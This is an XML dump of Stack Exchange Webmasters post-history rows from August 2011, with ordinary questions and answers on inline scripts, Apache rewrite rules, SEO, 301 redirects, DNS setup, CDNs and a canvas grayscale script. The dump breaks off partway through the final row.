  <row Id="45794" PostHistoryTypeId="2" PostId="18768" RevisionGUID="78afe57f-a671-47fa-9b06-5b58fb296383" CreationDate="2011-08-25T14:58:42.493" UserId="9848" UserDisplayName="cweiske" Text="Because it's in the browser's cache when the next page on that domain is accessed and does not need to be re-loaded from the web server.&#xD;&#xA;&#xD;&#xA;It saves bytes when you access more than one page on the server that share the same javascript and css files." />
  <row Id="45795" PostHistoryTypeId="2" PostId="18767" RevisionGUID="e2ca7122-611b-41e8-911a-41020384c73c" CreationDate="2011-08-25T14:39:35.583" UserDisplayName="So8res" Text="I know this sounds like a silly question, but hear me out. These days, there are a lot of 'media aggregator' tools that will take your globs of javascript (laden with coffee and underscores and backbones and who knows what else) and string them together and rewrite them and munge them and uglify and minify them them and tape them together so that clients _only have to make one request_ to get all the javascript or style sheets for a site.&#xD;&#xA;&#xD;&#xA;This is pretty cool. I like keeping my java(coffee)script files small and separate, and I like my clients making only one request.&#xD;&#xA;&#xD;&#xA;But if we go through all that trouble to make our javascript really small and stuff, why not just send it WITH the first request? Why not just have tools that do the minification and aggregation and then write it directly to the html?&#xD;&#xA;&#xD;&#xA;Common sense tells me that this would be bad, but I'm not sure why. Can anyone explain?" />
  <row Id="45796" PostHistoryTypeId="1" PostId="18767" RevisionGUID="e2ca7122-611b-41e8-911a-41020384c73c" CreationDate="2011-08-25T14:39:35.583" UserDisplayName="So8res" Text="Why don't people embed style and scripts in the HTML?" />
  <row Id="45797" PostHistoryTypeId="3" PostId="18767" RevisionGUID="e2ca7122-611b-41e8-911a-41020384c73c" CreationDate="2011-08-25T14:39:35.583" UserDisplayName="So8res" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;&lt;media&gt;" />
  <row Id="45798" PostHistoryTypeId="17" PostId="18768" RevisionGUID="32bf1fff-65c9-42da-b7f8-980ad7279401" CreationDate="2011-08-25T19:12:51.073" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18407/why-dont-people-embed-style-and-scripts-in-the-html" Text="" />
  <row Id="45799" PostHistoryTypeId="5" PostId="18766" RevisionGUID="698a94d4-0bbc-4757-8ed5-5b1380a59b8d" CreationDate="2011-08-25T19:35:26.807" UserId="8463" Comment="added 433 characters in body" Text="I am trying to match a single reference in a URL to pass to a script, while retaining the rest as the path to the script. For example:&#xD;&#xA;&#xD;&#xA;    #/scripts/paramater/foo/bar.php should call&#xD;&#xA;    #/scripts/foo/bar.php?id=parameter&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ scripts/$2?id=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;However my backreference is matching multiple times. $2 only contains &quot;bar.php&quot; and $1 is somehow repeating for &quot;parameter&quot; and &quot;foo&quot;.&#xD;&#xA;&#xD;&#xA;How can I prevent the backreference from repeating itself?&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;I've narrowed down the problem somewhat by fiddling with the second part of the rewrite rule.&#xD;&#xA;&#xD;&#xA;    #This doesn't work, as above&#xD;&#xA;    #Outputs: scripts/bar.php?id=foo?id=parameter&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ scripts/$2?id=$1 [L,QSA]&#xD;&#xA;    &#xD;&#xA;    #This works&#xD;&#xA;    #Outputs: foo/bar.php?id=parameter&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ $2?project_slug=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;Which confuses me even more! Any help appreciated" />
  <row Id="45800" PostHistoryTypeId="2" PostId="18769" RevisionGUID="1aee06e0-7d79-4c0f-9141-b56e5b7e85f4" CreationDate="2011-08-25T19:45:12.750" UserId="8354" Text="Easy: add condition that will prevent execution of rewrite rule on already rewritten URL.&#xD;&#xA;&#xD;&#xA;I see 2 main approaches (based on your URL examples):&#xD;&#xA;&#xD;&#xA;**1\. Will prevent rewriting if URL was already rewritten by the same rule:**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{QUERY_STRING} !^project_slug=&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ scripts/$2?project_slug=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;On initial rewrite iteration URL will be rewritten and query string will have `project_slug=` at the start of the string. On next iteration the condition will not allow rewriting because query string already starts with `project_slug=`.&#xD;&#xA;&#xD;&#xA;Of course, this approach will not work if original URL (before rewriting) has query string that starts with `project_slug=` (e.g. `/scripts/parameter/foo/bar.php?project_slug=hello`) .. which should not happen under normal circumstances (unless someone knows how rewrite rule works and is messing around on purpose).&#xD;&#xA;&#xD;&#xA;**2\. Allow rewrite execution ONLY on first iteration (regardless of which rule has rewritten this URL):**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{ENV:REDIRECT_STATUS} ^$&#xD;&#xA;    RewriteRule ^scripts/([^/]+)/(.*)$ scripts/$2?project_slug=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;Unfortunately the variable used here `%{ENV:REDIRECT_STATUS}` is not populated on every Apache build/setup. Therefore it may work fine on your setup but may not on another hosting. Unfortunately I cannot tell you how to determine (configure your Apache) if it will work without executing some sort of rewrite test." />
  <row Id="45801" PostHistoryTypeId="5" PostId="18763" RevisionGUID="e24b25e2-024e-4bf0-9572-e28463d24b43" CreationDate="2011-08-25T19:48:48.800" UserId="108" Comment="added 692 characters in body" Text="According to Google Webmaster guideline &quot;Hidden text&quot; is not acceptable. Which means I do have a dov containing some good amount of title or paragraph with link or images if I make it display:none in my CSS, it is against Google crawl policy (thats how it seems).&#xD;&#xA;&#xD;&#xA;My question is if I use it within media queries how Google will react? I mean &#xD;&#xA;&#xD;&#xA;    @media handheld, only screen and (max-width: 767px) {&#xD;&#xA;        body {&#xD;&#xA;        }&#xD;&#xA;        .mobile-friendly{ display:none;}&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;for fluid website development we often have to hide certain contents to make the site mobile friendly. Rather than making css for each browser we now code css within same file and define browser behaviour using media queries.&#xD;&#xA;&#xD;&#xA;So is google take any action against it?&#xD;&#xA;&#xD;&#xA;--Additional Piont/Question&#xD;&#xA;Thanks @John Conde; You are right. Google still is not taking much action against Hidden text. But still pro SEO suggest not to use it. In Example using logo within tag on wordpress and text-indenting them to -9999px ... there are more of the tricks involved.&#xD;&#xA;&#xD;&#xA;As I am trying to play safe; this is annoying me a lot.&#xD;&#xA;&#xD;&#xA;[Google Hidden Text Violation Guide][1]&#xD;&#xA;&#xD;&#xA;You see they clearly mention CSS display properties. They didn't explain about these media query exception! As I am trying to be over sure and as Google didn't mentioned anything about it I'm still confused on this question. Any Advice?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66353" />
  <row Id="45803" PostHistoryTypeId="5" PostId="18725" RevisionGUID="bf41f5b7-fd91-47e9-97b8-2cf1a48a8773" CreationDate="2011-08-25T19:50:42.320" UserId="108" Comment="added 351 characters in body" Text="Please someone solve this mystery that has been plaguing me for months! All pages have been cached by Google recently yet still will not show up in a search. I'm guessing it's being penalized? How would I know/find out?&#xD;&#xA;&#xD;&#xA;Index page &amp; Web Design page both show up:&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com&quot;&gt;http://infin80.com&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://infin80.com/web-design/las-vegas-web-design.php&quot;&gt;http://infin80.com/web-design/las-vegas-web-design.php&lt;/a&gt;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;These 2 pages can not be found unless you put in &quot;site:infin80.com&quot; into Google:&lt;br&gt;&#xD;&#xA;http://infin80.com/logo-design/las-vegas-logos.php&lt;br&gt;&#xD;&#xA;http://infin80.com/print-design/las-vegas-graphic-design.php&lt;br&gt;&#xD;&#xA;&#xD;&#xA;I test it by quoting any line of text directly into Google such as the 1st line of copy on the logo page &quot;Creating a small business brand is every bit as important for your small&quot; and always get &quot;No results found for...&quot;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additional Part&#xD;&#xA;----------&#xD;&#xA;All the webmaster tools are submitted properly with a sitemap (only 5 pages) and a robot.txt file that doesn't block any pages. &#xD;&#xA;&#xD;&#xA;Why would one sub-page be indexed (web design) while the others are there if you put in the url &quot;http://infin80.com/logo-design/las-vegas-logos.php&quot; but not any of the text/images?!?&#xD;&#xA;" />
  <row Id="45805" PostHistoryTypeId="17" PostId="18770" RevisionGUID="ac1d8236-5bbd-4674-ade1-97c15d344098" CreationDate="2011-08-25T20:19:51.827" UserId="-1" Comment="from http://stackoverflow.com/questions/7196599/how-to-index-a-search-engine-website" Text="" />
  <row Id="45806" PostHistoryTypeId="17" PostId="18771" RevisionGUID="0be18061-39cb-438c-8dad-670006cb8b0f" CreationDate="2011-08-25T20:19:51.827" UserId="-1" Comment="from http://stackoverflow.com/questions/7196599/how-to-index-a-search-engine-website" Text="" />
  <row Id="45807" PostHistoryTypeId="2" PostId="18771" RevisionGUID="7551e97a-4993-4d7f-b6c0-e0e84ff09328" CreationDate="2011-08-25T20:16:52.423" UserId="1253" Text="As long as someone linked to that URL, and Google found that link while crawling that website, then they will know about it and index it. &#xD;&#xA;&#xD;&#xA;That page can also be submitted via an XML sitemap." />
  <row Id="45808" PostHistoryTypeId="2" PostId="18770" RevisionGUID="77653473-d806-41e7-bf8e-b8871fb3b2c2" CreationDate="2011-08-25T20:11:41.207" UserDisplayName="Robert" Text="I'm a webmaster and I have a question about how google or other search engines index site that are search engines. In a normal site, from the homepage if I created a link to all the section and pages of my websites, google index all the pages of my sites.&#xD;&#xA;&#xD;&#xA;But sometimes I see sites that they don't have this link to internal pages, for example:&#xD;&#xA;&#xD;&#xA;search &quot;waitress london&quot; in google, you find this result:&#xD;&#xA;&#xD;&#xA;    www.jobrapido.co.uk/?q=waitress%20london&#xD;&#xA;&#xD;&#xA;But if you go on the site homepage &#xD;&#xA;&#xD;&#xA;    www.jobrapido.co.uk&#xD;&#xA;&#xD;&#xA;you have only a search form like google, there is no link to internal search, and I can't find external site linkink to&#xD;&#xA;&#xD;&#xA;    www.jobrapido.co.uk/?q=waitress%20london&#xD;&#xA;&#xD;&#xA;So my question is:&#xD;&#xA;&#xD;&#xA;How google know this link?&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" />
  <row Id="45809" PostHistoryTypeId="1" PostId="18770" RevisionGUID="77653473-d806-41e7-bf8e-b8871fb3b2c2" CreationDate="2011-08-25T20:11:41.207" UserDisplayName="Robert" Text="How to index a search engine website" />
  <row Id="45810" PostHistoryTypeId="3" PostId="18770" RevisionGUID="77653473-d806-41e7-bf8e-b8871fb3b2c2" CreationDate="2011-08-25T20:11:41.207" UserDisplayName="Robert" Text="&lt;seo&gt;" />
  <row Id="45811" PostHistoryTypeId="25" PostId="18754" RevisionGUID="a54324c7-69e3-4497-af12-29f9e3e60ec5" CreationDate="2011-08-25T21:35:18.080" Comment="http://twitter.com/#!/StackWebmasters/status/106842107519565824" />
  <row Id="45812" PostHistoryTypeId="2" PostId="18772" RevisionGUID="4954039d-85f7-4cc4-a6a6-c6e39f167cd0" CreationDate="2011-08-25T23:54:48.973" UserId="2585" Text="I have recently moved my old site (built with dreamweaver) to a new one (with new design and using wordpress). It was done last August, 1st and as the urls with WP chnaged completly, I had to do redirects 301 with my htaccess file to all my old urls.&#xD;&#xA;&#xD;&#xA;It occurs now that my new site results worse than the old one (bounce rate, time on site, sales conversion, traffic, etc) and I am considering seriously move back to the old pages.&#xD;&#xA;&#xD;&#xA;My question are:&#xD;&#xA;&#xD;&#xA;1) how should I handle the redirects in these case? Should I now keep the redirects already done (old to new urls) and now create also a new redirects from the new one to the old urls?&#xD;&#xA;&#xD;&#xA;2) How is the best way to handle it in order to avoid loosing traffic with serach engines?&#xD;&#xA;&#xD;&#xA;3) Does anybody have already faced this situation and move back to the old urls? if yes, what were the consequences related to your SEO and positioning in search engines ?Did you recovered the old search posiotioning?&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45813" PostHistoryTypeId="1" PostId="18772" RevisionGUID="4954039d-85f7-4cc4-a6a6-c6e39f167cd0" CreationDate="2011-08-25T23:54:48.973" UserId="2585" Text="How to come back to old URL already redirected with 301? What is the impact to SEO?" />
  <row Id="45814" PostHistoryTypeId="3" PostId="18772" RevisionGUID="4954039d-85f7-4cc4-a6a6-c6e39f167cd0" CreationDate="2011-08-25T23:54:48.973" UserId="2585" Text="&lt;seo&gt;&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="45815" PostHistoryTypeId="2" PostId="18773" RevisionGUID="fc3cd9b2-3206-456e-9947-701973ab7084" CreationDate="2011-08-26T00:12:03.417" UserId="4494" Text="Is there a list of significant numbers that people link meaning to?  &#xD;&#xA;&#xD;&#xA;For example saying **365** many people link to days in a year, and &lt;b&gt;24 7&lt;/b&gt; links to &lt;b&gt;24/7&lt;/b&gt; (if pronounced correctly)&#xD;&#xA;&#xD;&#xA;Basically little tricks like these help newcomers (hopefully) to remember brands/domain names better.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="45816" PostHistoryTypeId="1" PostId="18773" RevisionGUID="fc3cd9b2-3206-456e-9947-701973ab7084" CreationDate="2011-08-26T00:12:03.417" UserId="4494" Text="Rememberable Numbers for a Domain Name" />
  <row Id="45817" PostHistoryTypeId="3" PostId="18773" RevisionGUID="fc3cd9b2-3206-456e-9947-701973ab7084" CreationDate="2011-08-26T00:12:03.417" UserId="4494" Text="&lt;domain-names&gt;" />
  <row Id="45818" PostHistoryTypeId="25" PostId="18772" RevisionGUID="ee4f9070-9236-4b83-b3b5-170f7501d5db" CreationDate="2011-08-26T00:35:17.990" Comment="http://twitter.com/#!/StackWebmasters/status/106887406438981632" />
  <row Id="45819" PostHistoryTypeId="2" PostId="18774" RevisionGUID="9488d128-b43b-473c-ac92-616f0ecfc55d" CreationDate="2011-08-26T01:17:15.683" UserId="8006" Text="just do a ctrl+u and you will see that they have a few links to subpages on the homepage; the one you see if you click on &quot;Most popular cities&quot; and &quot;Most popular jobs&quot; under the search fields. Google can follow those links since they are only hidden via css. And from any of those pages on you can discover more and more pages, keeping the google bot busy for quite a while." />
  <row Id="45820" PostHistoryTypeId="2" PostId="18775" RevisionGUID="58957c52-e9a5-430a-a77e-d986a0860d60" CreationDate="2011-08-26T01:48:55.793" UserId="9851" Text="Wordpress already comes with jQuery. But what if I want to use a jQuery plugin on the entire blog? What's the best way to include on the entire site?&#xD;&#xA;&#xD;&#xA;And what if I only want to include it on one particular post/page?" />
  <row Id="45821" PostHistoryTypeId="1" PostId="18775" RevisionGUID="58957c52-e9a5-430a-a77e-d986a0860d60" CreationDate="2011-08-26T01:48:55.793" UserId="9851" Text="Include jQuery plugin in Wordpress" />
  <row Id="45822" PostHistoryTypeId="3" PostId="18775" RevisionGUID="58957c52-e9a5-430a-a77e-d986a0860d60" CreationDate="2011-08-26T01:48:55.793" UserId="9851" Text="&lt;wordpress&gt;&lt;jquery&gt;" />
  <row Id="45823" PostHistoryTypeId="2" PostId="18776" RevisionGUID="3ee125c3-b0f0-4bd6-a1dd-345eabc0aa3f" CreationDate="2011-08-26T01:52:50.680" UserId="2815" Text="&#xD;&#xA;From my limited exposure, it seems to me that most shopping cart/eCommerce platforms are specifically for products-based retailers.  On several occasions now, I've been asked about ecommerce solutions for service providers.  That is, it's basically just a single product with payment but no shipping, and highly configurable &quot;product&quot;.&#xD;&#xA;&#xD;&#xA;Any recommendations for a cost-efficient solution (high feature coverage) for such a web platform?&#xD;&#xA;&#xD;&#xA;.Net, no/suppressed product catalog, a service customization selection form, payment (probably paypal with accountless cc processing), GUEST purchases (no site account required), email confirmation, and customer service-facing control panel.&#xD;&#xA;&#xD;&#xA;It's hard to search for such a product because I get &quot;web service based ecommerce software&quot; and so on clouding up the results.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="45824" PostHistoryTypeId="1" PostId="18776" RevisionGUID="3ee125c3-b0f0-4bd6-a1dd-345eabc0aa3f" CreationDate="2011-08-26T01:52:50.680" UserId="2815" Text="Shopping cart for service providers?" />
  <row Id="45825" PostHistoryTypeId="3" PostId="18776" RevisionGUID="3ee125c3-b0f0-4bd6-a1dd-345eabc0aa3f" CreationDate="2011-08-26T01:52:50.680" UserId="2815" Text="&lt;ecommerce&gt;" />
  <row Id="45826" PostHistoryTypeId="17" PostId="18777" RevisionGUID="c0940e52-1210-45cd-b08f-991d5f102a4d" CreationDate="2011-08-26T02:16:29.757" UserId="-1" Comment="from http://stackoverflow.com/questions/7199303/how-to-point-a-dreamhost-domain-name-to-a-godaddy-server" Text="" />
  <row Id="45827" PostHistoryTypeId="2" PostId="18777" RevisionGUID="373a55d3-4e0f-4fdf-aa03-292ecc7ec3d9" CreationDate="2011-08-26T02:01:51.193" UserDisplayName="Vladimir Ten" Text="I have a domain name example.com with Dreamhost. I also own a dedicated server with GoDaddy.&#xD;&#xA;&#xD;&#xA;(1) How do I configure the domain name system, so that the Dreamhost domain name is hosted at the GoDaddy dedicated server?&#xD;&#xA;(2) How do I set up the file transfer protocol for the website?" />
  <row Id="45828" PostHistoryTypeId="1" PostId="18777" RevisionGUID="373a55d3-4e0f-4fdf-aa03-292ecc7ec3d9" CreationDate="2011-08-26T02:01:51.193" UserDisplayName="Vladimir Ten" Text="How to Point a Dreamhost Domain Name to a GoDaddy Server" />
  <row Id="45829" PostHistoryTypeId="3" PostId="18777" RevisionGUID="373a55d3-4e0f-4fdf-aa03-292ecc7ec3d9" CreationDate="2011-08-26T02:01:51.193" UserDisplayName="Vladimir Ten" Text="&lt;server&gt;&lt;ftp&gt;&lt;dns&gt;&lt;godaddy&gt;&lt;dreamhost&gt;" />
  <row Id="45830" PostHistoryTypeId="2" PostId="18778" RevisionGUID="a3409e1b-49da-4bf4-a911-cf54bd8de0c1" CreationDate="2011-08-26T02:17:17.377" UserId="4780" Text="For the naked domain (eg, `stackoverflow.com`), add an `A` record for the hostname `@` pointing to the IP address for the GoDaddy server.&#xD;&#xA;&#xD;&#xA;For other subdomains, add a `CNAME` record pointing to the domain name of the GoDaddy server.  (For compatibility reasons, a naked domain cannot have a `CNAME`)&#xD;&#xA;&#xD;&#xA;To find the IP address or domain name, or to use FTP, consult the GoDaddy documentation." />
  <row Id="45832" PostHistoryTypeId="5" PostId="18773" RevisionGUID="0e7a03ec-a668-4073-abc8-192247698616" CreationDate="2011-08-26T03:09:35.167" UserId="1253" Comment="deleted 12 characters in body" Text="Is there a list of significant numbers that people link meaning to?  &#xD;&#xA;&#xD;&#xA;For example saying **365** many people link to days in a year, and &lt;b&gt;24 7&lt;/b&gt; links to &lt;b&gt;24/7&lt;/b&gt; (if pronounced correctly)&#xD;&#xA;&#xD;&#xA;Basically little tricks like these help newcomers (hopefully) to remember brands/domain names better." />
  <row Id="45833" PostHistoryTypeId="5" PostId="18772" RevisionGUID="daafea0f-bae9-4e8a-a561-cf0f975e7152" CreationDate="2011-08-26T03:12:45.460" UserId="1253" Comment="deleted 25 characters in body" Text="I have recently moved my old site (built with dreamweaver) to a new one (with new design and using wordpress). It was done last August, 1st and as the urls with WP chnaged completly, I had to do redirects 301 with my htaccess file to all my old urls.&#xD;&#xA;&#xD;&#xA;It occurs now that my new site results worse than the old one (bounce rate, time on site, sales conversion, traffic, etc) and I am considering seriously move back to the old pages.&#xD;&#xA;&#xD;&#xA;My question are:&#xD;&#xA;&#xD;&#xA;1) how should I handle the redirects in these case? Should I now keep the redirects already done (old to new urls) and now create also a new redirects from the new one to the old urls?&#xD;&#xA;&#xD;&#xA;2) How is the best way to handle it in order to avoid loosing traffic with search engines?&#xD;&#xA;&#xD;&#xA;3) Does anybody have already faced this situation and move back to the old urls? if yes, what were the consequences related to your SEO and positioning in search engines ?Did you recovered the old search positioning?&#xD;&#xA;" />
  <row Id="45834" PostHistoryTypeId="2" PostId="18780" RevisionGUID="3afa02bc-a5d1-40fc-ab84-7fbe294d1f4c" CreationDate="2011-08-26T03:21:55.000" UserId="1253" Text="*To make this easier to explain I will refer to the old site that you want to switch back to as **site 1** and the current site that you want to move away from as **site 2***&#xD;&#xA;&#xD;&#xA;&gt;1) how should I handle the redirects in these case? Should I now keep the redirects already done (old to new urls) and now create also a new redirects from the new one to the old urls?&#xD;&#xA;&#xD;&#xA;If you do as you say n your second question you will create an infinite loop. Do 301 redirects from the site 2's URLs to site 1's URLs. This is necessary since site 2's URLs are what Google is showing in their search results. You will want to remove the redirects you currently have set up since those pages will be live again. &#xD;&#xA;&#xD;&#xA;&gt;2) How is the best way to handle it in order to avoid loosing traffic with search engines?&#xD;&#xA;&#xD;&#xA;Just do 301 redirects as I have mentioned above. It probably won't hurt to also create an XML sitemap (and HTML sitemap) as well to make sure the new pages are all found properly.&#xD;&#xA;&#xD;&#xA;&gt;3) Does anybody have already faced this situation and move back to the old urls? if yes, what were the consequences related to your SEO and positioning in search engines ? Did you recovered the old search positioning?&#xD;&#xA;&#xD;&#xA;I have never done this but have spoken to others who have. Apparently their rankings did eventually return to previous levels. So if site 2 is performing poorly this probably is not a bad strategy to take." />
  <row Id="45835" PostHistoryTypeId="14" PostId="18775" RevisionGUID="4b6cf9b3-37cb-4cdd-a30c-e882723cf989" CreationDate="2011-08-26T03:22:33.377" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="45836" PostHistoryTypeId="17" PostId="18775" RevisionGUID="8c6d8fa3-b73e-49cd-9b4a-f98754159cc7" CreationDate="2011-08-26T03:22:33.393" UserId="1253" Comment="to http://wordpress.stackexchange.com/questions/26945/include-jquery-plugin-in-wordpress" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45837" PostHistoryTypeId="10" PostId="18775" RevisionGUID="b90ad8e9-3e1d-4d4b-bbeb-0e1ea6e378b1" CreationDate="2011-08-26T03:22:32.613" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45838" PostHistoryTypeId="5" PostId="18776" RevisionGUID="c0e78016-fe6d-478b-ad7f-7d5e4fb1acf1" CreationDate="2011-08-26T03:23:04.157" UserId="1253" Comment="deleted 11 characters in body" Text="From my limited exposure, it seems to me that most shopping cart/eCommerce platforms are specifically for products-based retailers.  On several occasions now, I've been asked about ecommerce solutions for service providers.  That is, it's basically just a single product with payment but no shipping, and highly configurable &quot;product&quot;.&#xD;&#xA;&#xD;&#xA;Any recommendations for a cost-efficient solution (high feature coverage) for such a web platform?&#xD;&#xA;&#xD;&#xA;.Net, no/suppressed product catalog, a service customization selection form, payment (probably paypal with accountless cc processing), GUEST purchases (no site account required), email confirmation, and customer service-facing control panel.&#xD;&#xA;&#xD;&#xA;It's hard to search for such a product because I get &quot;web service based ecommerce software&quot; and so on clouding up the results.&#xD;&#xA;" />
  <row Id="45839" PostHistoryTypeId="6" PostId="18772" RevisionGUID="f8a75ca5-d54d-4034-85ee-77d293562114" CreationDate="2011-08-26T03:28:21.500" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;htaccess&gt;&lt;redirects&gt;&lt;301-redirect&gt;" />
  <row Id="45840" PostHistoryTypeId="25" PostId="18770" RevisionGUID="fef2e9d2-ee26-449e-a309-f56389c4e8e5" CreationDate="2011-08-26T03:35:17.847" Comment="http://twitter.com/#!/StackWebmasters/status/106932702296551424" />
  <row Id="45841" PostHistoryTypeId="2" PostId="18781" RevisionGUID="a4b530be-cea1-418f-b1d3-cdffec9ec6a5" CreationDate="2011-08-26T03:38:03.117" UserId="4502" Text="You need to define &quot;people&quot; before trying to do this.  &#xD;&#xA;Like trying to invoke &lt;a href=&quot;http://www.informationisbeautiful.net/visualizations/colours-in-cultures/&quot;&gt;color meanings&lt;/a&gt;, this requires research to make sure you're actually saying what you think, and don't play off some other meaning you didn't plan. Or at least try not to, as it's pretty much going to be impossible without an intentionally limited audience. Just about any number is going to have some significance, depending what direction you come at this from. There are some generic(-ish) cultural ones like you list–which culture?–but then you also have further complications like: &#xD;&#xA;&#xD;&#xA;* &lt;a href=&quot;http://en.wikipedia.org/wiki/Numbers_in_Chinese_culture&quot;&gt;Numbers in Chinese culture&lt;/a&gt;, and the &lt;a href=&quot;http://en.wikipedia.org/wiki/Chinese_calendar&quot;&gt;Chinese calendar&lt;/a&gt; given your examples&#xD;&#xA;* &lt;a href=&quot;http://en.wikipedia.org/wiki/Significance_of_numbers_in_Judaism&quot;&gt;Significance of numbers in Judaism&lt;/a&gt;&#xD;&#xA;* &lt;a href=&quot;http://en.wikipedia.org/wiki/Numerology&quot;&gt;All sorts of numerology systems&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;And so on." />
  <row Id="45842" PostHistoryTypeId="2" PostId="18782" RevisionGUID="30ecd310-77a3-4b51-aec8-5306d2e153d7" CreationDate="2011-08-26T05:11:42.807" UserId="9539" Text="I have read about CDNs and what they do. The question I have is three fold. First when should you start to use a CDN? My site is small currently and do not see the need for a CDN but is there a general threshold that once crossed I should switch to a CDN? (Like say I have 2,000 visitors a day) &#xD;&#xA;&#xD;&#xA;2nd Part - When you do switch to a CDN what should you put on the CDN?  Just external javascript? All images? Some images?  What are some general guides for what content goes onto the cdn and what should stay on your server. &#xD;&#xA;&#xD;&#xA;3rd Part - Does use of a CDN affect SEO and how?&#xD;&#xA;Thanks!" />
  <row Id="45843" PostHistoryTypeId="1" PostId="18782" RevisionGUID="30ecd310-77a3-4b51-aec8-5306d2e153d7" CreationDate="2011-08-26T05:11:42.807" UserId="9539" Text="A CDN at what point?" />
  <row Id="45844" PostHistoryTypeId="3" PostId="18782" RevisionGUID="30ecd310-77a3-4b51-aec8-5306d2e153d7" CreationDate="2011-08-26T05:11:42.807" UserId="9539" Text="&lt;websites&gt;&lt;cdn&gt;" />
  <row Id="45845" PostHistoryTypeId="2" PostId="18783" RevisionGUID="89204d38-0057-463a-8710-185f89c94628" CreationDate="2011-08-26T06:34:17.630" UserId="9285" Text="I'm doing website User Testing and want them to report issues by clicking on web site and type text into a comment box. Similar to www.Diigo.com or www.bugherd.com&#xD;&#xA;&#xD;&#xA;Bugherd is designed for this but it is still at an early stage -- too unstable for our production use as of Aug 2011. (very impressive though)&#xD;&#xA;&#xD;&#xA;Diigo is not designed for bug tracking, it kind of works but I can't really integrate with bug-fixing workflow.&#xD;&#xA;&#xD;&#xA;Apart from the obvious screenshot-&gt;save image-&gt;upload image to a bug tracker, are there easy ways to allow our users to easily point-and-click and input bugs?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45846" PostHistoryTypeId="1" PostId="18783" RevisionGUID="89204d38-0057-463a-8710-185f89c94628" CreationDate="2011-08-26T06:34:17.630" UserId="9285" Text="Let tester directly click on web site to report bugs, similar to bugherd?" />
  <row Id="45847" PostHistoryTypeId="3" PostId="18783" RevisionGUID="89204d38-0057-463a-8710-185f89c94628" CreationDate="2011-08-26T06:34:17.630" UserId="9285" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;users&gt;&lt;testing&gt;" />
  <row Id="45848" PostHistoryTypeId="25" PostId="18767" RevisionGUID="32c65253-ef48-4e50-8a20-332888033232" CreationDate="2011-08-26T06:35:17.897" Comment="http://twitter.com/#!/StackWebmasters/status/106978001740238848" />
  <row Id="45849" PostHistoryTypeId="4" PostId="18782" RevisionGUID="4638fffd-9993-4153-b2fd-e5983689b850" CreationDate="2011-08-26T06:37:54.180" UserId="9539" Comment="edited title" Text="When to Switch to a CDN?" />
  <row Id="45850" PostHistoryTypeId="2" PostId="18784" RevisionGUID="3f03e8f9-cbc3-45f4-9bcb-95655255d0f0" CreationDate="2011-08-26T07:55:00.263" UserId="9855" Text="            &lt;!DOCTYPE html&gt;&#xD;&#xA;            &lt;html&gt;&#xD;&#xA;             &lt;head&gt;&#xD;&#xA;              &lt;title&gt; New Document &lt;/title&gt;&#xD;&#xA;            &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;            window.onload = function ()  {&#xD;&#xA;              var area = document.getElementById('area');&#xD;&#xA;              alert('area:'+area);   &#xD;&#xA;              var context = area.getContext('2d');&#xD;&#xA;              alert('context:'+context);&#xD;&#xA;              if (context) {&#xD;&#xA;                var imgd = context.getImageData(0, 0, 500, 300);&#xD;&#xA;                var pix = imgd.data;&#xD;&#xA;                for (var i = 0, n = pix.length; i &lt; n; i += 4) {&#xD;&#xA;                  var grayscale = pix[i  ] * .3 + pix[i+1] * .59 + pix[i+2] * .11;&#xD;&#xA;                  pix[i]   = grayscale;   // red&#xD;&#xA;                  pix[i+1] = grayscale;   // green&#xD;&#xA;                  pix[i+2] = grayscale;   // blue&#xD;&#xA;                }&#xD;&#xA;                context.putImageData(imgd, 0, 0);&#xD;&#xA;              }&#xD;&#xA;            };&#xD;&#xA;            &lt;/script&gt;&#xD;&#xA;             &lt;/head&gt;&#xD;&#xA;              &lt;body&gt;&#xD;&#xA;               &lt;canvas id=&quot;area&quot; width=&quot;500&quot; height=&quot;300&quot;&gt;&#xD;&#xA;                 &lt;img id=&quot;canvasSource&quot; src=&quot;http://www.treehugger.com/elephant-national-heritage-animal-india.jpg&quot; alt=&quot;Canvas Source&quot; /&gt;&#xD;&#xA;               &lt;/canvas&gt;&#xD;&#xA;            &lt;/body&gt;&#xD;&#xA;            &lt;/html&gt;&#xD;&#xA;    in this code is not working. showing error.&#xD;&#xA;    Line: 9&#xD;&#xA;    Error: Object doesn't support this property or 